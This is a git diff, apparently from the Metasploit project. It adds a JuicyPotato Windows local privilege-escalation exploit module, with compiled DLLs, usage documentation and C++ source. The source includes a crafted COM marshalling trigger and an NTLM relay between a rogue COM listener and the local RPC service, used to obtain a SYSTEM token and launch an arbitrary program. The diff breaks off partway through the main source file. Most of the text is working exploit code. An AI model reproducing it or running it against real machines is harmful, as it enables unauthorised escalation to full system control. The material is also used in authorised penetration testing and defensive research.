diff --git a/data/exploits/juicypotato/juicypotato.x64.dll b/data/exploits/juicypotato/juicypotato.x64.dll new file mode 100644 index 0000000000..3ce27893b6 Binary files /dev/null and b/data/exploits/juicypotato/juicypotato.x64.dll differ diff --git a/data/exploits/juicypotato/juicypotato.x86.dll b/data/exploits/juicypotato/juicypotato.x86.dll new file mode 100644 index 0000000000..529d2373f9 Binary files /dev/null and b/data/exploits/juicypotato/juicypotato.x86.dll differ diff --git a/documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md b/documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md new file mode 100644 index 0000000000..418c00cd1b --- /dev/null +++ b/documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md @@ -0,0 +1,29 @@ +## Intro + +This module utilizes the Net-NTLMv2 reflection between DCOM/RPC to achieve a SYSTEM handle for elevation of privilege. It needs a CLSID to function, a list of which can be found here: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md + +From https://github.com/ohpe/juicy-potato: + +> RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges. During a Windows build review we found a setup where BITS was intentionally disabled and port 6666 was taken. +> We decided to weaponize RottenPotatoNG: Say hello to Juicy Potato. + +For more info see: +- [Rotten Potato](https://github.com/foxglovesec/RottenPotato) +- [Lonely Potato](https://decoder.cloud/2017/12/23/the-lonely-potato/) +- [Juicy Potato](https://ohpe.it/juicy-potato/) + +## Usage + +The session you wish to escalate must already have the SeImpersonate privilege. + +![image](https://user-images.githubusercontent.com/984628/51068493-2b6ef500-161f-11e9-9287-1eac0f942f87.png) + +## Scenarios: + +Example with BITS CLSID (NT AUTHORITY\SYSTEM): + +![image](https://user-images.githubusercontent.com/984628/50982077-aa1f4180-14fc-11e9-94f4-1a50ce765e0f.png) + +Example with UPNP CLSID (NT AUTHORITY\LOCAL SERVICE): + +![image](https://user-images.githubusercontent.com/984628/50982170-d76bef80-14fc-11e9-9124-ab43d69cb15c.png) diff --git a/external/source/exploits/juicypotato/.gitignore b/external/source/exploits/juicypotato/.gitignore new file mode 100644 index 0000000000..61bfb92e48 --- /dev/null +++ b/external/source/exploits/juicypotato/.gitignore @@ -0,0 +1,5 @@ +.vs +.DS_Store +Debug/ +Release/ +ipch/ diff --git a/external/source/exploits/juicypotato/JuicyPotato.sln b/external/source/exploits/juicypotato/JuicyPotato.sln new file mode 100644 index 0000000000..36bd494226 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26403.7 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "JuicyPotato", "JuicyPotato\JuicyPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Release|Win32 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Release|Win32 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Release|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Release|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {3B4F867D-2997-4A0F-A8AD-9D4729DA3439} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/juicypotato/JuicyPotato/BlockingQueue.h b/external/source/exploits/juicypotato/JuicyPotato/BlockingQueue.h new file mode 100644 index 0000000000..e500d0916e --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/BlockingQueue.h @@ -0,0 +1,41 @@ +#pragma once +#include +#include +#include "stdafx.h" + +typedef std::mutex Mutex; +template class BlockingQueue{ +public: + void push(const ITEM& value) { // push + std::lock_guard lock(mutex); + queue.push(std::move(value)); + condition.notify_one(); + } + bool try_pop(ITEM& value) { // non-blocking pop + std::lock_guard lock(mutex); + if (queue.empty()) return false; + value = std::move(queue.front()); + queue.pop(); + return true; + } + ITEM wait_pop() { // blocking pop + std::unique_lock lock(mutex); + condition.wait(lock, [this] {return !queue.empty(); }); + ITEM const value = std::move(queue.front()); + queue.pop(); + return value; + } + bool empty() const { // queue is empty? + std::lock_guard lock(mutex); + return queue.empty(); + } + void clear() { // remove all items + ITEM item; + while (try_pop(item)); + } +private: + Mutex mutex; + std::queue queue; + std::condition_variable condition; +}; + diff --git a/external/source/exploits/juicypotato/JuicyPotato/IStorageTrigger.cpp b/external/source/exploits/juicypotato/JuicyPotato/IStorageTrigger.cpp new file mode 100644 index 0000000000..c98c4193b5 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/IStorageTrigger.cpp @@ -0,0 +1,218 @@ +#include "stdafx.h" +#include "IStorageTrigger.h" +#include +#include + +extern PCSTR DEF_PORT; +extern char dcom_port[12]; +extern char dcom_ip[17]; + +IStorageTrigger::IStorageTrigger(IStorage *istg) { + _stg = istg; + m_cRef = 1; + return; +} + +HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) { + return 0; +} + +HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) { + *pSize = 1024; + //printf("IStorageTrigger GetMarshalSizeMax\n"); + return 0; +} + +HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) { + CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid); + //printf("IStorageTrigger GetUnmarshalClass\n"); + return 0; +} + +HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) { + // Marshalling Port & Ip address of COM Server + + short sec_len = 8; + int port_len = strlen(dcom_port); + char *ipaddr = dcom_ip; + unsigned short str_bindlen = ((strlen(ipaddr) + port_len + 2) * 2) + 6; + unsigned short total_length = (str_bindlen + sec_len) / 2; + unsigned char sec_offset = str_bindlen / 2; + port_len = port_len * 2; + byte data_0[] = { + 0x4d,0x45,0x4f,0x57,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xcc,0x96,0xec,0x06,0x4a,0xd8,0x03,0x07,0xac,0x31,0xce,0x9c,0x02,0x9d,0x53,0x00,0x9f,0x93,0x2c,0x04, + 0xcd,0x54,0xd4,0xef,0x4b,0xbd,0x1c,0x3b,0xae,0x97,0x21,0x45 + }; + + byte *dataip; + int len = strlen(ipaddr) * 2; + dataip = (byte *)malloc(len); + for (int i = 0; i < len; i++) + { + if (i % 2) + dataip[i] = *ipaddr++; + else + dataip[i] = 0; + } + + byte data_4[] = { 0x00,0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff, + 0xff, 0x00, 0x00, 0x00, 0x00 + }; + + byte data_1[4]; + data_1[0] = total_length; + data_1[1] = 0; + data_1[2] = sec_offset; + data_1[3] = 0; + byte *data_3; + data_3 = (byte *)malloc((port_len)); + byte *strport = (byte *)&dcom_port[0]; + + for (int i = 0; i < (port_len); i++) + { + if (i % 2) + data_3[i] = *strport++; + else + data_3[i] = 0; + } + + int size = sizeof(data_0) + sizeof(data_1) + len + 2 + 1 + port_len + sizeof(data_4); + byte * marshalbuf = (byte *)malloc(size); + int r = 0; + memcpy(&marshalbuf[r], data_0, sizeof(data_0)); + r = sizeof(data_0); + memcpy(&marshalbuf[r], data_1, sizeof(data_1)); + r = r + sizeof(data_1); + byte tmp1[] = { 0x07 }; + memcpy(&marshalbuf[r], tmp1, 1); + r = r + 1; + memcpy(&marshalbuf[r], dataip, len); + r = r + len; + byte tmp[] = { 0x00,0x5b }; + memcpy(&marshalbuf[r], tmp, 2); + r = r + 2; + memcpy(&marshalbuf[r], data_3, port_len); + r = r + (port_len); + memcpy(&marshalbuf[r], data_4, sizeof(data_4)); + + ULONG written = 0; + pStm->Write(&marshalbuf[0], size, &written); + free(marshalbuf); + free(dataip); + free(data_3); + return 0; +} + +HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) { + return 0; +} +HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) { + *ppv = 0; + return 0; +} +HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) { + _stg->Commit(grfCommitFlags); + return 0; +} +HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) { + _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); + return 0; +} +HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) { + _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg); + return 0; +} +HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) { + _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm); + return 0; +} +HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) { + _stg->DestroyElement(pwcsName); + return 0; +} +HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) { + _stg->EnumElements(reserved1, reserved2, reserved3, ppenum); + return 0; +} +HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) { + _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); + return 0; +} +HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) { + _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg); + return 0; +} +HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) { + _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm); + return 0; +} +HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) { + return 0; +} +HRESULT IStorageTrigger::Revert() { + return 0; +} +HRESULT IStorageTrigger::SetClass(const IID &clsid) { + return 0; +} +HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) { + return 0; +} +HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) { + return 0; +} +HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) { + _stg->Stat(pstatstg, grfStatFlag); + + //Allocate from heap because apparently this will get freed in OLE32 + const wchar_t c_s[] = L"hello.stg"; + + wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s)); + wcscpy(s, c_s); + pstatstg[0].pwcsName = s; + return 0; +} + +///////////////////////IUknown Interface +HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) { + // Always set out parameter to NULL, validating it first. + if (!ppvObj) { + //printf("QueryInterface INVALID\n"); + return E_INVALIDARG; + } + if (riid == IID_IUnknown) + { + *ppvObj = static_cast(this); + //reinterpret_cast(*ppvObj)->AddRef(); + } + else if (riid == IID_IStorage) + { + *ppvObj = static_cast(this); + } + else if (riid == IID_IMarshal) + { + *ppvObj = static_cast(this); + } + else + { + *ppvObj = NULL; + //printf("QueryInterface NOINT\n"); + return E_NOINTERFACE; + } + // Increment the reference count and return the pointer. + + return S_OK; + +} + + +ULONG IStorageTrigger::AddRef() { + m_cRef++; + return m_cRef; +} + +ULONG IStorageTrigger::Release() { + // Decrement the object's internal counter. + ULONG ulRefCount = m_cRef--; + return ulRefCount; +} diff --git a/external/source/exploits/juicypotato/JuicyPotato/IStorageTrigger.h b/external/source/exploits/juicypotato/JuicyPotato/IStorageTrigger.h new file mode 100644 index 0000000000..bf38e5b1bf --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/IStorageTrigger.h @@ -0,0 +1,35 @@ +#pragma once +#include "Objidl.h" + +class IStorageTrigger : public IMarshal, public IStorage { +private: + IStorage *_stg; + int m_cRef; +public: + IStorageTrigger(IStorage *stg); + HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved); + HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize); + HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid); + HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags); + HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm); + HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv); + HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags); + HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest); + HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg); + HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm); + HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName); + HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum); + HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags); + HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg); + HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm); + HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName); + HRESULT STDMETHODCALLTYPE Revert(); + HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid); + HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime); + HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask); + HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag); + + HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject); + ULONG STDMETHODCALLTYPE AddRef(); + ULONG STDMETHODCALLTYPE Release(); +}; \ No newline at end of file diff --git a/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.cpp b/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.cpp new file mode 100644 index 0000000000..73c489e2d8 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.cpp @@ -0,0 +1,1005 @@ +#include "stdafx.h" +#include "MSFRottenPotato.h" +#include "IStorageTrigger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment (lib, "Ws2_32.lib") +#pragma comment (lib, "Mswsock.lib") +#pragma comment (lib, "AdvApi32.lib") +#pragma comment(lib, "userenv.lib") + +wchar_t *olestr; +wchar_t *g_port; +wchar_t *rpcserver; +wchar_t *rpcport; +wchar_t *cmdproc; +char dcom_port[12]; +char dcom_ip[17]; + +//{8BC3F05E-D86B-11D0-A075-00C04FB68820} +//{A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6} + +FILE* logFile = stdout; + +static const char VERSION[] = "0.1"; +BOOL TEST_mode = FALSE; +HANDLE elevated_token, duped_token; + +int PotatoAPI::newConnection; +wchar_t *processtype = NULL; +wchar_t *processargs = NULL; +wchar_t *processname = NULL; + +int IsTokenSystem(HANDLE tok) +{ + DWORD Size, UserSize, DomainSize; + SID *sid; + SID_NAME_USE SidType; + TCHAR UserName[64], DomainName[64]; + TOKEN_USER *User; + Size = 0; + GetTokenInformation(tok, TokenUser, NULL, 0, &Size); + if (!Size) + { + if (logFile != NULL) + { + fprintf(logFile, "[-] GetTokenInformation\n"); + fflush(logFile); + } + + return FALSE; + } + + User = (TOKEN_USER *)malloc(Size); + assert(User); + GetTokenInformation(tok, TokenUser, User, Size, &Size); + assert(Size); + Size = GetLengthSid(User->User.Sid); + assert(Size); + sid = (SID *)malloc(Size); + assert(sid); + + CopySid(Size, sid, User->User.Sid); + UserSize = (sizeof UserName / sizeof *UserName) - 1; + DomainSize = (sizeof DomainName / sizeof *DomainName) - 1; + LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType); + free(sid); + if (logFile != NULL) + { + fprintf(logFile, "%S: %S\\%S\n", olestr, DomainName, UserName); + fflush(logFile); + } + + if (!_wcsicmp(UserName, L"SYSTEM")) + { + return 1; + } + + return 0; +} + +void usage() +{ + printf("JuicyPotato v%s \n\n", VERSION); + + printf("Mandatory args: \n" + "-t createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both\n" + "-p : program to launch\n" + "-l : COM server listen port\n" + ); + + printf("\n\n"); + printf("Optional args: \n" + "-m : COM server listen address (default 127.0.0.1)\n" + "-a : command line argument to pass to program (default NULL)\n" + "-k : RPC server ip address (default 127.0.0.1)\n" + "-n : RPC server listen port (default 135)\n" + "-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})\n" + "-z only test CLSID and print token's user\n" + ); +} + +PotatoAPI::PotatoAPI() { + comSendQ = new BlockingQueue(); + rpcSendQ = new BlockingQueue(); + newConnection = 0; + negotiator = new LocalNegotiator(); + return; +} + +DWORD PotatoAPI::startRPCConnectionThread() { + DWORD ThreadID; + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID); + return ThreadID; +} + +DWORD PotatoAPI::startCOMListenerThread() { + DWORD ThreadID; + HANDLE t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID); + + return ThreadID; +} + +DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) { + PotatoAPI* This = (PotatoAPI*)Param; + return This->startRPCConnection(); +} + +DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) { + PotatoAPI* This = (PotatoAPI*)Param; + return This->startCOMListener(); +} + +int PotatoAPI::findNTLMBytes(char *bytes, int len) { + //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header. + //The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header, + //we can just return the index + char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 }; + int pIdx = 0; + int i; + for (i = 0; i < len; i++) { + if (bytes[i] == pattern[pIdx]) { + pIdx = pIdx + 1; + if (pIdx == 7) return (i - 6); + } + else { + pIdx = 0; + } + } + return -1; +} + +int PotatoAPI::processNtlmBytes(char *bytes, int len) { + int ntlmLoc = findNTLMBytes(bytes, len); + if (ntlmLoc == -1) return -1; + + int messageType = bytes[ntlmLoc + 8]; + switch (messageType) { + case 1: + //NTLM type 1 message + negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc); + break; + case 2: + //NTLM type 2 message + negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc); + break; + case 3: + //NTLM type 3 message + negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc); + break; + default: + if (logFile != NULL) + { + fprintf(logFile, "[-] Unknown NTLM message type...\n"); + fflush(logFile); + } + return -1; + break; + } + return 0; +} + +int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) { + fd_set readSet; + FD_ZERO(&readSet); + FD_SET(*ListenSocket, &readSet); + timeval timeout; + timeout.tv_sec = 1; // Zero timeout (poll) + timeout.tv_usec = 0; + if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) { + *ClientSocket = accept(*ListenSocket, NULL, NULL); + return 1; + } + return 0; +} + +int PotatoAPI::triggerDCOM(void) +{ + CoInitialize(nullptr); + + //Create IStorage object + IStorage *stg = NULL; + ILockBytes *lb = NULL; + HRESULT res; + + res = CreateILockBytesOnHGlobal(NULL, true, &lb); + res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); + + //Initialze IStorageTrigger object + IStorageTrigger* t = new IStorageTrigger(stg); + + CLSID clsid; + CLSIDFromString(olestr, &clsid); + CLSID tmp; + //IUnknown IID + CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp); + MULTI_QI qis[1]; + qis[0].pIID = &tmp; + qis[0].pItf = NULL; + qis[0].hr = 0; + + //Call CoGetInstanceFromIStorage + HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis); + + fflush(stdout); + return 0; +} + +int PotatoAPI::startRPCConnection(void) { + const int DEFAULT_BUFLEN = 4096; + + fflush(stdout); + WSADATA wsaData; + + struct addrinfo *result = NULL, + *ptr = NULL, + hints; + + char *sendbuf; + char recvbuf[DEFAULT_BUFLEN]; + int iResult; + int recvbuflen = DEFAULT_BUFLEN; + + // Initialize Winsock + iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (iResult != 0) { + if (logFile != NULL) + { + fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult); + fflush(logFile); + } + return 1; + } + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + // Resolve the server address and port + char myhost[24]; + char myport[12]; + + if (rpcserver != NULL) { + memset(myhost, 0, 24); + wcstombs(myhost, rpcserver, 24); + } + else { + strcpy(myhost, "127.0.0.1"); + } + + if (rpcport != NULL) { + memset(myport, 0, 12); + wcstombs(myport, rpcport, 12); + } + else { + strcpy(myport, "135"); + } + + iResult = getaddrinfo(myhost, myport, &hints, &result); + if (iResult != 0) { + if (logFile != NULL) + { + fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult); + fflush(logFile); + } + WSACleanup(); + return 1; + } + + // Attempt to connect to an address + for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { + // Create a SOCKET for connecting to server + ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); + if (ConnectSocket == INVALID_SOCKET) { + if (logFile != NULL) + { + fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError()); + fflush(logFile); + } + WSACleanup(); + return 1; + } + + // Connect to server + iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); + if (iResult == SOCKET_ERROR) { + closesocket(ConnectSocket); + ConnectSocket = INVALID_SOCKET; + continue; + } + + break; + } + + if (ConnectSocket == INVALID_SOCKET) { + if (logFile != NULL) + { + fprintf(logFile, "[-] Unable to connect to server!\n"); + fflush(logFile); + } + + WSACleanup(); + return 1; + } + + // Send/Receive until the peer closes the connection + fflush(stdout); + do { + //Monitor our sendQ until we have some data to send + int *len = (int*)rpcSendQ->wait_pop(); + + fflush(stdout); + sendbuf = rpcSendQ->wait_pop(); + + //Check if we should be opening a new socket before we send the data + if (newConnection == 1) { + ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); + int y = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); + newConnection = 0; + } + + iResult = send(ConnectSocket, sendbuf, *len, 0); + if (iResult == SOCKET_ERROR) { + if (logFile != NULL) + { + fprintf(logFile, "[-] RPC -> send failed with error: %d\n", WSAGetLastError()); + fflush(logFile); + } + + closesocket(ConnectSocket); + WSACleanup(); + return 0; + } + + iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0); + if (iResult > 0) { + comSendQ->push((char*)&iResult); + comSendQ->push(recvbuf); + } + else if (iResult == 0) { + if (logFile != NULL) + { + fprintf(logFile, "RPC-> Connection closed\n"); + fflush(logFile); + } + } + else { + if (logFile != NULL) + { + fprintf(logFile, "[-] RPC -> recv failed with error: %d\n", WSAGetLastError()); + fflush(logFile); + } + return 0; + } + + } while (iResult > 0); + + if (logFile != NULL) + { + fprintf(logFile, "last iResult: %d\n", iResult); + fflush(logFile); + } + + // cleanup + iResult = shutdown(ConnectSocket, SD_SEND); + closesocket(ConnectSocket); + WSACleanup(); + + return 0; +} + +int PotatoAPI::startCOMListener(void) { + const int DEFAULT_BUFLEN = 4096; + WSADATA wsaData; + int iResult; + struct addrinfo *result = NULL; + struct addrinfo hints; + int iSendResult; + char *sendbuf; + char recvbuf[DEFAULT_BUFLEN]; + int recvbuflen = DEFAULT_BUFLEN; + + // Initialize Winsock + iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (iResult != 0) { + if (logFile != NULL) + { + fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult); + fflush(logFile); + } + return 1; + } + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + hints.ai_flags = AI_PASSIVE; + + memset(dcom_port, 0, 12); + wcstombs(dcom_port, g_port, 12); + + // printf("[+] Listening on port:%s\n", dcom_port); + // Resolve the server address and port + iResult = getaddrinfo(NULL, dcom_port, &hints, &result); + + if (iResult != 0) { + if (logFile != NULL) + { + fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult); + fflush(logFile); + } + WSACleanup(); + return 1; + } + + // Create a SOCKET for connecting to server + ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); + int optval = 1; + setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval)); + + if (ListenSocket == INVALID_SOCKET) { + if (logFile != NULL) + { + fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError()); + fflush(logFile); + } + freeaddrinfo(result); + WSACleanup(); + return 1; + } + + // Setup the TCP listening socket + iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); + if (logFile != NULL) + { + fprintf(logFile, "startCOMListener bindresult: %d\n", iResult); + fflush(logFile); + } + + if (iResult == SOCKET_ERROR) { + if (logFile != NULL) + { + fprintf(logFile, "[-] bind failed with error: %d\n", WSAGetLastError()); + fflush(logFile); + } + + freeaddrinfo(result); + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + + freeaddrinfo(result); + + iResult = listen(ListenSocket, SOMAXCONN); + if (iResult == SOCKET_ERROR) { + if (logFile != NULL) + { + fprintf(logFile, "[-] listen failed with error: %d\n", WSAGetLastError()); + fflush(logFile); + } + + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + //---- non block socket server + + timeval timeout = { 1, 0 }; + fd_set fds; + FD_ZERO(&fds); + FD_SET(ListenSocket, &fds); + + select(ListenSocket + 1, &fds, NULL, NULL, &timeout); + if (FD_ISSET(ListenSocket, &fds)) + { + ClientSocket = accept(ListenSocket, NULL, NULL); + if (ClientSocket == INVALID_SOCKET) { + if (logFile != NULL) + { + fprintf(logFile, "[-] accept failed with error: %d\n", WSAGetLastError()); + fflush(logFile); + } + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + } + + int ntlmLoc; + do { + iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); + if (iResult > 0) { + + if (!TEST_mode) + printf(".", iResult); + + //check to see if the received packet has NTLM auth information + processNtlmBytes(recvbuf, iResult); + + //Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue" + //put packet in winrpc_sendq + rpcSendQ->push((char*)&iResult); + rpcSendQ->push(recvbuf); + + //block and wait for a new item in our sendq + int* len = (int*)comSendQ->wait_pop(); + sendbuf = comSendQ->wait_pop(); + + //Check to see if this is a packet containing NTLM authentication information before sending + processNtlmBytes(sendbuf, *len); + + //send the new packet sendbuf + iSendResult = send(ClientSocket, sendbuf, *len, 0); + + if (iSendResult == SOCKET_ERROR) { + if (logFile != NULL) + { + fprintf(logFile, "[-] COM -> send failed with error: %d\n", WSAGetLastError()); + fflush(logFile); + } + + exit(-11); + } + + //Sometimes Windows likes to open a new connection instead of using the current one + //Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming + newConnection = checkForNewConnection(&ListenSocket, 